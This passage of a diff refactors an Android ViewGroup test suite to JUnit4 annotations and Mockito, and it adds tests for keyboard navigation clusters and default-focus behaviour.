                     parentHeightMeasureSpec, heightUsed);
             fail("measureChildWithMargins should throw out class cast exception");
         } catch (RuntimeException e) {
         }
         child.setLayoutParams(new ViewGroup.MarginLayoutParams(width, height));
 
-        vg.measureChildWithMargins(child, parentWidthMeasureSpec, widthUsed, parentHeightMeasureSpec,
-                heightUsed);
+        mMockViewGroup.measureChildWithMargins(child, parentWidthMeasureSpec, widthUsed,
+                parentHeightMeasureSpec, heightUsed);
         assertEquals(ViewGroup.getChildMeasureSpec(parentWidthMeasureSpec, parentHeightMeasureSpec,
                 width), child.mWidthMeasureSpec);
         assertEquals(ViewGroup.getChildMeasureSpec(widthUsed, heightUsed, height),
                 child.mHeightMeasureSpec);
     }
 
+    @UiThreadTest
+    @Test
     public void testOffsetDescendantRectToMyCoords() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        MockTextView textView = new MockTextView(mContext);
-
         try {
-            vg.offsetDescendantRectToMyCoords(textView, new Rect());
+            mMockViewGroup.offsetDescendantRectToMyCoords(mMockTextView, new Rect());
             fail("offsetDescendantRectToMyCoords should throw out "
                     + "IllegalArgumentException");
         } catch (RuntimeException e) {
             // expected
         }
-        vg.addView(textView);
-        textView.layout(1, 2, 3, 4);
+        mMockViewGroup.addView(mMockTextView);
+        mMockTextView.layout(1, 2, 3, 4);
         Rect rect = new Rect();
-        vg.offsetDescendantRectToMyCoords(textView, rect);
+        mMockViewGroup.offsetDescendantRectToMyCoords(mMockTextView, rect);
         assertEquals(2, rect.bottom);
         assertEquals(2, rect.top);
         assertEquals(1, rect.left);
         assertEquals(1, rect.right);
     }
 
+    @UiThreadTest
+    @Test
     public void testOffsetRectIntoDescendantCoords() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        vg.layout(10, 20, 30, 40);
-        MockTextView textView = new MockTextView(mContext);
+        mMockViewGroup.layout(10, 20, 30, 40);
 
         try {
-            vg.offsetRectIntoDescendantCoords(textView, new Rect());
+            mMockViewGroup.offsetRectIntoDescendantCoords(mMockTextView, new Rect());
             fail("offsetRectIntoDescendantCoords should throw out "
                     + "IllegalArgumentException");
         } catch (RuntimeException e) {
             // expected
         }
-        textView.layout(1, 2, 3, 4);
-        vg.addView(textView);
+        mMockTextView.layout(1, 2, 3, 4);
+        mMockViewGroup.addView(mMockTextView);
 
         Rect rect = new Rect(5, 6, 7, 8);
-        vg.offsetRectIntoDescendantCoords(textView, rect);
+        mMockViewGroup.offsetRectIntoDescendantCoords(mMockTextView, rect);
         assertEquals(6, rect.bottom);
         assertEquals(4, rect.top);
         assertEquals(4, rect.left);
         assertEquals(6, rect.right);
     }
 
+    @UiThreadTest
+    @Test
     public void testOnAnimationEnd() {
         // this function is a call back function it should be tested in ViewGroup#drawChild.
         MockViewGroup parent = new MockViewGroup(mContext);
@@ -1065,6 +1228,8 @@
         }
     }
 
+    @UiThreadTest
+    @Test
     public void testOnAnimationStart() {
         // This is a call back method. It should be tested in ViewGroup#drawChild.
         MockViewGroup parent = new MockViewGroup(mContext);
@@ -1085,65 +1250,68 @@
         assertTrue(child.isOnAnimationStartCalled);
     }
 
+    @UiThreadTest
+    @Test
     public void testOnCreateDrawableState() {
-        MockViewGroup vg = new MockViewGroup(mContext);
         // Call back function. Called in View#getDrawableState()
-        int[] data = vg.getDrawableState();
-        assertTrue(vg.isOnCreateDrawableStateCalled);
+        int[] data = mMockViewGroup.getDrawableState();
+        assertTrue(mMockViewGroup.isOnCreateDrawableStateCalled);
         assertEquals(1, data.length);
     }
 
+    @UiThreadTest
+    @Test
     public void testOnInterceptTouchEvent() {
-        MockViewGroup vg = new MockViewGroup(mContext);
         MotionEvent me = MotionEvent.obtain(SystemClock.uptimeMillis(),
-                SystemClock.uptimeMillis(), MotionEvent.ACTION_DOWN, 100, 100,
-                0);
+                SystemClock.uptimeMillis(), MotionEvent.ACTION_DOWN, 100, 100, 0);
 
-        assertFalse(vg.dispatchTouchEvent(me));
-        assertTrue(vg.isOnInterceptTouchEventCalled);
+        assertFalse(mMockViewGroup.dispatchTouchEvent(me));
+        assertTrue(mMockViewGroup.isOnInterceptTouchEventCalled);
     }
 
+    @UiThreadTest
+    @Test
     public void testOnLayout() {
         final int left = 1;
         final int top = 2;
         final int right = 100;
         final int bottom = 200;
-        MockViewGroup mv = new MockViewGroup(mContext);
-        mv.layout(left, top, right, bottom);
-        assertEquals(left, mv.left);
-        assertEquals(top, mv.top);
-        assertEquals(right, mv.right);
-        assertEquals(bottom, mv.bottom);
+        mMockViewGroup.layout(left, top, right, bottom);
+        assertEquals(left, mMockViewGroup.left);
+        assertEquals(top, mMockViewGroup.top);
+        assertEquals(right, mMockViewGroup.right);
+        assertEquals(bottom, mMockViewGroup.bottom);
     }
 
+    @UiThreadTest
+    @Test
     public void testOnRequestFocusInDescendants() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-
-        vg.requestFocus(View.FOCUS_DOWN, new Rect());
-        assertTrue(vg.isOnRequestFocusInDescendantsCalled);
+        mMockViewGroup.requestFocus(View.FOCUS_DOWN, new Rect());
+        assertTrue(mMockViewGroup.isOnRequestFocusInDescendantsCalled);
     }
 
+    @UiThreadTest
+    @Test
     public void testRemoveAllViews() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        MockTextView textView = new MockTextView(mContext);
-        assertEquals(0, vg.getChildCount());
+        assertEquals(0, mMockViewGroup.getChildCount());
 
-        vg.addView(textView);
-        assertEquals(1, vg.getChildCount());
+        mMockViewGroup.addView(mMockTextView);
+        assertEquals(1, mMockViewGroup.getChildCount());
 
-        vg.removeAllViews();
-        assertEquals(0, vg.getChildCount());
-        assertNull(textView.getParent());
+        mMockViewGroup.removeAllViews();
+        assertEquals(0, mMockViewGroup.getChildCount());
+        assertNull(mMockTextView.getParent());
     }
 
+    @UiThreadTest
+    @Test
     public void testRemoveAllViewsInLayout() {
         MockViewGroup parent = new MockViewGroup(mContext);
         MockViewGroup child = new MockViewGroup(mContext);
-        MockTextView textView = new MockTextView(mContext);
 
         assertEquals(0, parent.getChildCount());
 
-        child.addView(textView);
+        child.addView(mMockTextView);
         parent.addView(child);
         assertEquals(1, parent.getChildCount());
 
@@ -1151,39 +1319,31 @@
         assertEquals(0, parent.getChildCount());
         assertEquals(1, child.getChildCount());
         assertNull(child.getParent());
-        assertSame(child, textView.getParent());
+        assertSame(child, mMockTextView.getParent());
     }
 
+    @UiThreadTest
+    @Test
     public void testRemoveDetachedView() {
         MockViewGroup parent = new MockViewGroup(mContext);
         MockViewGroup child1 = new MockViewGroup(mContext);
         MockViewGroup child2 = new MockViewGroup(mContext);
-        MockOnHierarchyChangeListener listener = new MockOnHierarchyChangeListener();
+        ViewGroup.OnHierarchyChangeListener listener =
+                mock(ViewGroup.OnHierarchyChangeListener.class);
         parent.setOnHierarchyChangeListener(listener);
         parent.addView(child1);
         parent.addView(child2);
 
         parent.removeDetachedView(child1, false);
-        assertSame(parent, listener.sParent);
-        assertSame(child1, listener.sChild);
+
+        InOrder inOrder = inOrder(listener);
+        inOrder.verify(listener, times(1)).onChildViewAdded(parent, child1);
+        inOrder.verify(listener, times(1)).onChildViewAdded(parent, child2);
+        inOrder.verify(listener, times(1)).onChildViewRemoved(parent, child1);
     }
 
-    static class MockOnHierarchyChangeListener implements OnHierarchyChangeListener {
-
-        public View sParent;
-        public View sChild;
-
-        @Override
-        public void onChildViewAdded(View parent, View child) {
-        }
-
-        @Override
-        public void onChildViewRemoved(View parent, View child) {
-            sParent = parent;
-            sChild = child;
-        }
-    }
-
+    @UiThreadTest
+    @Test
     public void testRemoveView() {
         MockViewGroup parent = new MockViewGroup(mContext);
         MockViewGroup child = new MockViewGroup(mContext);
@@ -1196,8 +1356,11 @@
         parent.removeView(child);
         assertEquals(0, parent.getChildCount());
         assertNull(child.getParent());
+        assertTrue(parent.isOnViewRemovedCalled);
     }
 
+    @UiThreadTest
+    @Test
     public void testRemoveViewAt() {
         MockViewGroup parent = new MockViewGroup(mContext);
         MockViewGroup child = new MockViewGroup(mContext);
@@ -1218,8 +1381,11 @@
         parent.removeViewAt(0);
         assertEquals(0, parent.getChildCount());
         assertNull(child.getParent());
+        assertTrue(parent.isOnViewRemovedCalled);
     }
 
+    @UiThreadTest
+    @Test
     public void testRemoveViewInLayout() {
         MockViewGroup parent = new MockViewGroup(mContext);
         MockViewGroup child = new MockViewGroup(mContext);
@@ -1232,8 +1398,11 @@
         parent.removeViewInLayout(child);
         assertEquals(0, parent.getChildCount());
         assertNull(child.getParent());
+        assertTrue(parent.isOnViewRemovedCalled);
     }
 
+    @UiThreadTest
+    @Test
     public void testRemoveViews() {
         MockViewGroup parent = new MockViewGroup(mContext);
         MockViewGroup child1 = new MockViewGroup(mContext);
@@ -1267,8 +1436,11 @@
         parent.removeViews(0, 1);
         assertEquals(0, parent.getChildCount());
         assertNull(child2.getParent());
+        assertTrue(parent.isOnViewRemovedCalled);
     }
 
+    @UiThreadTest
+    @Test
     public void testRemoveViewsInLayout() {
         MockViewGroup parent = new MockViewGroup(mContext);
         MockViewGroup child1 = new MockViewGroup(mContext);
@@ -1302,43 +1474,360 @@
         parent.removeViewsInLayout(0, 1);
         assertEquals(0, parent.getChildCount());
         assertNull(child2.getParent());
+        assertTrue(parent.isOnViewRemovedCalled);
     }
 
+    @UiThreadTest
+    @Test
     public void testRequestChildFocus() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        TextView textView = new TextView(mContext);
+        mMockViewGroup.addView(mTextView);
+        mMockViewGroup.requestChildFocus(mTextView, null);
 
-        vg.addView(textView);
-        vg.requestChildFocus(textView, null);
+        assertNotNull(mMockViewGroup.getFocusedChild());
 
-        assertNotNull(vg.getFocusedChild());
-
-        vg.clearChildFocus(textView);
-        assertNull(vg.getFocusedChild());
+        mMockViewGroup.clearChildFocus(mTextView);
+        assertNull(mMockViewGroup.getFocusedChild());
     }
 
+    @UiThreadTest
+    @Test
     public void testRequestChildRectangleOnScreen() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        assertFalse(vg.requestChildRectangleOnScreen(null, null, false));
+        assertFalse(mMockViewGroup.requestChildRectangleOnScreen(null, null, false));
     }
 
+    @UiThreadTest
+    @Test
     public void testRequestDisallowInterceptTouchEvent() {
-        MockViewGroup parent = new MockViewGroup(mContext);
         MockView child = new MockView(mContext);
 
-        parent.addView(child);
+        mMockViewGroup.addView(child);
         child.requestDisallowInterceptTouchEvent(true);
         child.requestDisallowInterceptTouchEvent(false);
-        assertTrue(parent.isRequestDisallowInterceptTouchEventCalled);
+        assertTrue(mMockViewGroup.isRequestDisallowInterceptTouchEventCalled);
     }
 
+    @UiThreadTest
+    @Test
     public void testRequestFocus() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-
-        vg.requestFocus(View.FOCUS_DOWN, new Rect());
-        assertTrue(vg.isOnRequestFocusInDescendantsCalled);
+        mMockViewGroup.requestFocus(View.FOCUS_DOWN, new Rect());
+        assertTrue(mMockViewGroup.isOnRequestFocusInDescendantsCalled);
     }
 
+    private class TestClusterHier {
+        public MockViewGroup top = new MockViewGroup(mContext);
+        public MockViewGroup cluster1 = new MockViewGroup(mContext);
+        public Button c1view1 = new Button(mContext);
+        public Button c1view2 = new Button(mContext);
+        public MockViewGroup cluster2 = new MockViewGroup(mContext);
+        public MockViewGroup nestedGroup = new MockViewGroup(mContext);
+        public Button c2view1 = new Button(mContext);
+        public Button c2view2 = new Button(mContext);
+        TestClusterHier() {
+            this(true);
+        }
+        TestClusterHier(boolean inTouchMode) {
+            for (Button bt : new Button[]{c1view1, c1view2, c2view1, c2view2}) {
+                // Otherwise this test won't work during suite-run.
+                bt.setFocusableInTouchMode(inTouchMode);
+            }
+            for (MockViewGroup mvg : new MockViewGroup[]{top, cluster1, cluster2, nestedGroup}) {
+                mvg.returnActualFocusSearchResult = true;
+            }
+            top.setIsRootNamespace(true);
+            cluster1.setKeyboardNavigationCluster(true);
+            cluster2.setKeyboardNavigationCluster(true);
+            cluster1.addView(c1view1);
+            cluster1.addView(c1view2);
+            cluster2.addView(c2view1);
+            nestedGroup.addView(c2view2);
+            cluster2.addView(nestedGroup);
+            top.addView(cluster1);
+            top.addView(cluster2);
+        }
+    }
+
+    @UiThreadTest
+    @Test
+    public void testRestoreFocusInCluster() {
+        TestClusterHier h = new TestClusterHier();
+        h.cluster1.restoreFocusInCluster(View.FOCUS_DOWN);
+        assertSame(h.c1view1, h.top.findFocus());
+
+        h.cluster2.restoreFocusInCluster(View.FOCUS_DOWN);
+        assertSame(h.c2view1, h.top.findFocus());
+
+        h.c2view2.setFocusedInCluster();
+        h.cluster2.restoreFocusInCluster(View.FOCUS_DOWN);
+        assertSame(h.c2view2, h.top.findFocus());
+        h.c2view1.setFocusedInCluster();
+        h.cluster2.restoreFocusInCluster(View.FOCUS_DOWN);
+        assertSame(h.c2view1, h.top.findFocus());
+
+        h.c1view2.setFocusedInCluster();
+        h.cluster1.restoreFocusInCluster(View.FOCUS_DOWN);
+        assertSame(h.c1view2, h.top.findFocus());
+
+        h = new TestClusterHier();
+        h.cluster1.setDescendantFocusability(ViewGroup.FOCUS_BLOCK_DESCENDANTS);
+        h.cluster1.restoreFocusInCluster(View.FOCUS_DOWN);
+        assertNull(h.top.findFocus());
+
+        h.c2view1.setVisibility(View.INVISIBLE);
+        h.cluster2.restoreFocusInCluster(View.FOCUS_DOWN);
+        assertSame(h.c2view2, h.top.findFocus());
+
+        // Nested clusters should be ignored.
+        h = new TestClusterHier();
+        h.c1view1.setFocusedInCluster();
+        h.nestedGroup.setKeyboardNavigationCluster(true);
+        h.c2view2.setFocusedInCluster();
+        h.cluster2.restoreFocusInCluster(View.FOCUS_DOWN);
+        assertSame(h.c2view2, h.top.findFocus());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testDefaultCluster() {
+        TestClusterHier h = new TestClusterHier();
+        h.cluster2.setKeyboardNavigationCluster(false);
+        assertTrue(h.top.restoreFocusNotInCluster());
+        assertSame(h.c2view1, h.top.findFocus());
+
+        // Check saves state within non-cluster
+        h = new TestClusterHier();
+        h.cluster2.setKeyboardNavigationCluster(false);
+        h.c2view2.setFocusedInCluster();
+        assertTrue(h.top.restoreFocusNotInCluster());
+        assertSame(h.c2view2, h.top.findFocus());
+
+        // Check that focusable view groups have descendantFocusability honored.
+        h = new TestClusterHier();
+        h.cluster2.setKeyboardNavigationCluster(false);
+        h.cluster2.setFocusableInTouchMode(true);
+        h.cluster2.setDescendantFocusability(ViewGroup.FOCUS_AFTER_DESCENDANTS);
+        assertTrue(h.top.restoreFocusNotInCluster());
+        assertSame(h.c2view1, h.top.findFocus());
+        h = new TestClusterHier();
+        h.cluster2.setKeyboardNavigationCluster(false);
+        h.cluster2.setFocusableInTouchMode(true);
+        h.cluster2.setDescendantFocusability(ViewGroup.FOCUS_BEFORE_DESCENDANTS);
+        assertTrue(h.top.restoreFocusNotInCluster());
+        assertSame(h.cluster2, h.top.findFocus());
+
+        // Check that we return false if nothing out-of-cluster is focusable
+        // (also tests FOCUS_BLOCK_DESCENDANTS)
+        h = new TestClusterHier();
+        h.cluster2.setKeyboardNavigationCluster(false);
+        h.cluster2.setDescendantFocusability(ViewGroup.FOCUS_BLOCK_DESCENDANTS);
+        assertFalse(h.top.restoreFocusNotInCluster());
+        assertNull(h.top.findFocus());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testFocusInClusterRemovals() {
+        // Removing focused-in-cluster view from its parent in various ways.
+        TestClusterHier h = new TestClusterHier();
+        h.c1view1.setFocusedInCluster();
+        h.cluster1.removeView(h.c1view1);
+        h.cluster1.restoreFocusInCluster(View.FOCUS_DOWN);
+        assertSame(h.c1view2, h.cluster1.findFocus());
+
+        h = new TestClusterHier();
+        h.c1view1.setFocusedInCluster();
+        h.cluster1.removeViews(0, 1);
+        h.cluster1.restoreFocusInCluster(View.FOCUS_DOWN);
+        assertSame(h.c1view2, h.cluster1.findFocus());
+
+        h = new TestClusterHier();
+        h.c2view1.setFocusedInCluster();
+        h.cluster2.removeAllViewsInLayout();
+        h.cluster2.restoreFocusInCluster(View.FOCUS_DOWN);
+        assertNull(h.cluster2.findFocus());
+
+        h = new TestClusterHier();
+        h.c1view1.setFocusedInCluster();
+        h.cluster1.detachViewFromParent(h.c1view1);
+        h.cluster1.attachViewToParent(h.c1view1, 1, null);
+        h.cluster1.restoreFocusInCluster(View.FOCUS_DOWN);
+        assertSame(h.c1view1, h.cluster1.findFocus());
+
+        h = new TestClusterHier();
+        h.c1view1.setFocusedInCluster();
+        h.cluster1.detachViewFromParent(h.c1view1);
+        h.cluster1.removeDetachedView(h.c1view1, false);
+        h.cluster1.restoreFocusInCluster(View.FOCUS_DOWN);
+        assertSame(h.c1view2, h.cluster1.findFocus());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testRestoreDefaultFocus() {
+        TestClusterHier h = new TestClusterHier();
+        h.c1view2.setFocusedByDefault(true);
+        h.top.restoreDefaultFocus();
+        assertSame(h.c1view2, h.top.findFocus());
+
+        h.c1view2.setFocusedByDefault(false);
+        h.top.restoreDefaultFocus();
+        assertSame(h.c1view1, h.top.findFocus());
+
+        // default focus favors higher-up views
+        h.c1view2.setFocusedByDefault(true);
+        h.cluster1.setFocusedByDefault(true);
+        h.top.restoreDefaultFocus();
+        assertSame(h.c1view2, h.top.findFocus());
+        h.c2view1.setFocusedByDefault(true);
+        h.top.restoreDefaultFocus();
+        assertSame(h.c1view2, h.top.findFocus());
+        h.cluster2.setFocusedByDefault(true);
+        h.cluster1.setFocusedByDefault(false);
+        h.top.restoreDefaultFocus();
+        assertSame(h.c2view1, h.top.findFocus());
+
+        // removing default receivers should resolve to an existing default
+        h = new TestClusterHier();
+        h.c1view2.setFocusedByDefault(true);
+        h.cluster1.setFocusedByDefault(true);
+        h.c2view2.setFocusedByDefault(true);
+        h.top.restoreDefaultFocus();
+        assertSame(h.c1view2, h.top.findFocus());
+        h.c1view2.setFocusedByDefault(false);
+        h.cluster1.setFocusedByDefault(false);
+        // only 1 focused-by-default view left, but its in a different branch. Should still pull
+        // default focus.
+        h.top.restoreDefaultFocus();
+        assertSame(h.c2view2, h.top.findFocus());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testDefaultFocusViewRemoved() {
+        // Removing default-focus view from its parent in various ways.
+        TestClusterHier h = new TestClusterHier();
+        h.c1view1.setFocusedByDefault(true);
+        h.cluster1.removeView(h.c1view1);
+        h.cluster1.restoreDefaultFocus();
+        assertSame(h.c1view2, h.cluster1.findFocus());
+
+        h = new TestClusterHier();
+        h.c1view1.setFocusedByDefault(true);
+        h.cluster1.removeViews(0, 1);
+        h.cluster1.restoreDefaultFocus();
+        assertSame(h.c1view2, h.cluster1.findFocus());
+
+        h = new TestClusterHier();
+        h.c1view1.setFocusedByDefault(true);
+        h.cluster1.removeAllViewsInLayout();
+        h.cluster1.restoreDefaultFocus();
+        assertNull(h.cluster1.findFocus());
+
+        h = new TestClusterHier();
+        h.c1view1.setFocusedByDefault(true);
+        h.cluster1.detachViewFromParent(h.c1view1);
+        h.cluster1.attachViewToParent(h.c1view1, 1, null);
+        h.cluster1.restoreDefaultFocus();
+        assertSame(h.c1view1, h.cluster1.findFocus());
+
+        h = new TestClusterHier();
+        h.c1view1.setFocusedByDefault(true);
+        h.cluster1.detachViewFromParent(h.c1view1);
+        h.cluster1.removeDetachedView(h.c1view1, false);
+        h.cluster1.restoreDefaultFocus();
+        assertSame(h.c1view2, h.cluster1.findFocus());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testAddViewWithDefaultFocus() {
+        // Adding a view that has default focus propagates the default focus chain to the root.
+        mMockViewGroup = new MockViewGroup(mContext);
+        mMockTextView = new MockTextView(mContext);
+        mMockTextView.setFocusable(true);
+        mTextView = new TextView(mContext);
+        mTextView.setFocusable(true);
+        mTextView.setFocusableInTouchMode(true);
+        mTextView.setFocusedByDefault(true);
+        mMockViewGroup.addView(mMockTextView);
+        mMockViewGroup.addView(mTextView);
+        mMockViewGroup.restoreDefaultFocus();
+        assertTrue(mTextView.isFocused());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testDefaultFocusWorksForClusters() {
+        TestClusterHier h = new TestClusterHier();
+        h.c2view2.setFocusedByDefault(true);
+        h.cluster1.setFocusedByDefault(true);
+        h.top.restoreDefaultFocus();
+        assertSame(h.c1view1, h.top.findFocus());
+        h.cluster2.restoreFocusInCluster(View.FOCUS_DOWN);
+        assertSame(h.c2view2, h.top.findFocus());
+
+        // make sure focused in cluster takes priority in cluster-focus
+        h.c1view2.setFocusedByDefault(true);
+        h.c1view1.setFocusedInCluster();
+        h.cluster1.restoreFocusInCluster(View.FOCUS_DOWN);
+        assertSame(h.c1view1, h.top.findFocus());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testTouchscreenBlocksFocus() {
+        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)) {
+            return;
+        }
+        InstrumentationRegistry.getInstrumentation().setInTouchMode(false);
+
+        // Can't focus/default-focus an element in touchscreenBlocksFocus
+        TestClusterHier h = new TestClusterHier(false);
+        h.cluster1.setTouchscreenBlocksFocus(true);
+        h.c1view2.setFocusedByDefault(true);
+        h.top.restoreDefaultFocus();
+        assertSame(h.c2view1, h.top.findFocus());
+        ArrayList<View> views = new ArrayList<>();
+        h.top.addFocusables(views, View.FOCUS_DOWN);
+        for (View v : views) {
+            assertFalse(v.getParent() == h.cluster1);
+        }
+        views.clear();
+
+        // Can cluster navigate into it though
+        h.top.addKeyboardNavigationClusters(views, View.FOCUS_DOWN);
+        assertTrue(views.contains(h.cluster1));
+        views.clear();
+        h.cluster1.restoreFocusInCluster(View.FOCUS_DOWN);
+        assertSame(h.c1view2, h.top.findFocus());
+        // can normal-navigate around once inside
+        h.top.addFocusables(views, View.FOCUS_DOWN);
+        assertTrue(views.contains(h.c1view1));
+        views.clear();
+        h.c1view1.requestFocus();
+        assertSame(h.c1view1, h.top.findFocus());
+        // focus loops within cluster (doesn't leave)
+        h.c1view2.requestFocus();
+        View next = h.top.focusSearch(h.c1view2, View.FOCUS_FORWARD);
+        assertSame(h.c1view1, next);
+        // but once outside, can no-longer navigate in.
+        h.c2view2.requestFocus();
+        h.c1view1.requestFocus();
+        assertSame(h.c2view2, h.top.findFocus());
+
+        h = new TestClusterHier(false);
+        h.c1view1.requestFocus();
+        h.nestedGroup.setKeyboardNavigationCluster(true);
+        h.nestedGroup.setTouchscreenBlocksFocus(true);
+        // since cluster is nested, it should ignore its touchscreenBlocksFocus behavior.
+        h.c2view2.requestFocus();
+        assertSame(h.c2view2, h.top.findFocus());
+        h.top.addFocusables(views, View.FOCUS_DOWN);
+        assertTrue(views.contains(h.c2view2));
+        views.clear();
+    }
+
+    @UiThreadTest
+    @Test
     public void testRequestTransparentRegion() {
         MockViewGroup parent = new MockViewGroup(mContext);
         MockView child1 = new MockView(mContext);
@@ -1349,76 +1838,63 @@
         assertTrue(parent.isRequestTransparentRegionCalled);
     }
 
+    @UiThreadTest
+    @Test
     public void testScheduleLayoutAnimation() {
-        MockViewGroup vg = new MockViewGroup(mContext);
         Animation animation = new AlphaAnimation(mContext, null);
 
-        MockLayoutAnimationController al = new MockLayoutAnimationController(animation);
-        vg.setLayoutAnimation(al);
-        vg.scheduleLayoutAnimation();
-        vg.dispatchDraw(new Canvas());
-        assertTrue(al.mIsStartCalled);
+        LayoutAnimationController al = spy(new LayoutAnimationController(animation));
+        mMockViewGroup.setLayoutAnimation(al);
+        mMockViewGroup.scheduleLayoutAnimation();
+        mMockViewGroup.dispatchDraw(new Canvas());
+        verify(al, times(1)).start();
     }
 
-    static class MockLayoutAnimationController extends LayoutAnimationController {
-
-        public boolean mIsStartCalled;
-
-        public MockLayoutAnimationController(Animation animation) {
-            super(animation);
-        }
-
-        @Override
-        public void start() {
-            mIsStartCalled = true;
-            super.start();
-        }
-    }
-
+    @UiThreadTest
+    @Test
     public void testSetAddStatesFromChildren() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        vg.setAddStatesFromChildren(true);
-        assertTrue(vg.addStatesFromChildren());
+        mMockViewGroup.setAddStatesFromChildren(true);
+        assertTrue(mMockViewGroup.addStatesFromChildren());
 
-        vg.setAddStatesFromChildren(false);
-        assertFalse(vg.addStatesFromChildren());
+        mMockViewGroup.setAddStatesFromChildren(false);
+        assertFalse(mMockViewGroup.addStatesFromChildren());
     }
 
+    @UiThreadTest
+    @Test
     public void testSetChildrenDrawingCacheEnabled() {
-        MockViewGroup vg = new MockViewGroup(mContext);
+        assertTrue(mMockViewGroup.isAnimationCacheEnabled());
 
-        assertTrue(vg.isAnimationCacheEnabled());
+        mMockViewGroup.setAnimationCacheEnabled(false);
+        assertFalse(mMockViewGroup.isAnimationCacheEnabled());
 
-        vg.setAnimationCacheEnabled(false);
-        assertFalse(vg.isAnimationCacheEnabled());
-
-        vg.setAnimationCacheEnabled(true);
-        assertTrue(vg.isAnimationCacheEnabled());
+        mMockViewGroup.setAnimationCacheEnabled(true);
+        assertTrue(mMockViewGroup.isAnimationCacheEnabled());
     }
 
+    @UiThreadTest
+    @Test
     public void testSetChildrenDrawnWithCacheEnabled() {
-        MockViewGroup vg = new MockViewGroup(mContext);
+        assertFalse(mMockViewGroup.isChildrenDrawnWithCacheEnabled());
 
-        assertFalse(vg.isChildrenDrawnWithCacheEnabled());
+        mMockViewGroup.setChildrenDrawnWithCacheEnabled(true);
+        assertTrue(mMockViewGroup.isChildrenDrawnWithCacheEnabled());
 
-        vg.setChildrenDrawnWithCacheEnabled(true);
-        assertTrue(vg.isChildrenDrawnWithCacheEnabled());
-
-        vg.setChildrenDrawnWithCacheEnabled(false);
-        assertFalse(vg.isChildrenDrawnWithCacheEnabled());
+        mMockViewGroup.setChildrenDrawnWithCacheEnabled(false);
+        assertFalse(mMockViewGroup.isChildrenDrawnWithCacheEnabled());
     }
 
+    @UiThreadTest
+    @Test
     public void testSetClipChildren() {
         Bitmap bitmap = Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888);
 
-        MockViewGroup vg = new MockViewGroup(mContext);
-        MockTextView textView = new MockTextView(mContext);
-        textView.layout(1, 2, 30, 40);
-        vg.layout(1, 1, 100, 200);
-        vg.setClipChildren(true);
+        mMockTextView.layout(1, 2, 30, 40);
+        mMockViewGroup.layout(1, 1, 100, 200);
+        mMockViewGroup.setClipChildren(true);
 
         MockCanvas canvas = new MockCanvas(bitmap);
-        vg.drawChild(canvas, textView, 100);
+        mMockViewGroup.drawChild(canvas, mMockTextView, 100);
         Rect rect = canvas.getClipBounds();
         assertEquals(0, rect.top);
         assertEquals(100, rect.bottom);
@@ -1456,6 +1932,12 @@
         }
 
         @Override
+        public int save(int saveFlags) {
+            mIsSaveCalled = true;
+            return super.save(saveFlags);
+        }
+
+        @Override
         public boolean clipRect(int left, int top, int right, int bottom) {
             mLeft = left;
             mTop = top;
@@ -1465,22 +1947,23 @@
         }
     }
 
+    @UiThreadTest
+    @Test
     public void testSetClipToPadding() {
         final int frameLeft = 1;
         final int frameTop = 2;
         final int frameRight = 100;
         final int frameBottom = 200;
-        MockViewGroup vg = new MockViewGroup(mContext);
-        vg.layout(frameLeft, frameTop, frameRight, frameBottom);
+        mMockViewGroup.layout(frameLeft, frameTop, frameRight, frameBottom);
 
-        vg.setClipToPadding(true);
+        mMockViewGroup.setClipToPadding(true);
         MockCanvas canvas = new MockCanvas();
         final int paddingLeft = 10;
         final int paddingTop = 20;
         final int paddingRight = 100;
         final int paddingBottom = 200;
-        vg.setPadding(paddingLeft, paddingTop, paddingRight, paddingBottom);
-        vg.dispatchDraw(canvas);
+        mMockViewGroup.setPadding(paddingLeft, paddingTop, paddingRight, paddingBottom);
+        mMockViewGroup.dispatchDraw(canvas);
         //check that the clip region does not contain the padding area
         assertTrue(canvas.mIsSaveCalled);
         assertEquals(10, canvas.mLeft);
@@ -1488,9 +1971,9 @@
         assertEquals(-frameLeft, canvas.mRight);
         assertEquals(-frameTop, canvas.mBottom);
 
-        vg.setClipToPadding(false);
+        mMockViewGroup.setClipToPadding(false);
         canvas = new MockCanvas();
-        vg.dispatchDraw(canvas);
+        mMockViewGroup.dispatchDraw(canvas);
         assertFalse(canvas.mIsSaveCalled);
         assertEquals(0, canvas.mLeft);
         assertEquals(0, canvas.mTop);
@@ -1498,139 +1981,147 @@
         assertEquals(0, canvas.mBottom);
     }
 
+    @UiThreadTest
+    @Test
     public void testSetDescendantFocusability() {
-        MockViewGroup vg = new MockViewGroup(mContext);
         final int FLAG_MASK_FOCUSABILITY = 0x60000;
-        assertFalse((vg.getDescendantFocusability() & FLAG_MASK_FOCUSABILITY) == 0);
+        assertFalse((mMockViewGroup.getDescendantFocusability() & FLAG_MASK_FOCUSABILITY) == 0);
 
-        vg.setDescendantFocusability(ViewGroup.FOCUS_BLOCK_DESCENDANTS);
-        assertFalse((vg.getDescendantFocusability() & FLAG_MASK_FOCUSABILITY) == 0);
+        mMockViewGroup.setDescendantFocusability(ViewGroup.FOCUS_BLOCK_DESCENDANTS);
+        assertFalse((mMockViewGroup.getDescendantFocusability() & FLAG_MASK_FOCUSABILITY) == 0);
 
-        vg.setDescendantFocusability(ViewGroup.FOCUS_BEFORE_DESCENDANTS);
-        assertFalse((vg.getDescendantFocusability() & FLAG_MASK_FOCUSABILITY) == 0);
-        assertFalse((vg.getDescendantFocusability() &
+        mMockViewGroup.setDescendantFocusability(ViewGroup.FOCUS_BEFORE_DESCENDANTS);
+        assertFalse((mMockViewGroup.getDescendantFocusability() & FLAG_MASK_FOCUSABILITY) == 0);
+        assertFalse((mMockViewGroup.getDescendantFocusability() &
                 ViewGroup.FOCUS_BEFORE_DESCENDANTS) == 0);
     }
 
+    @UiThreadTest
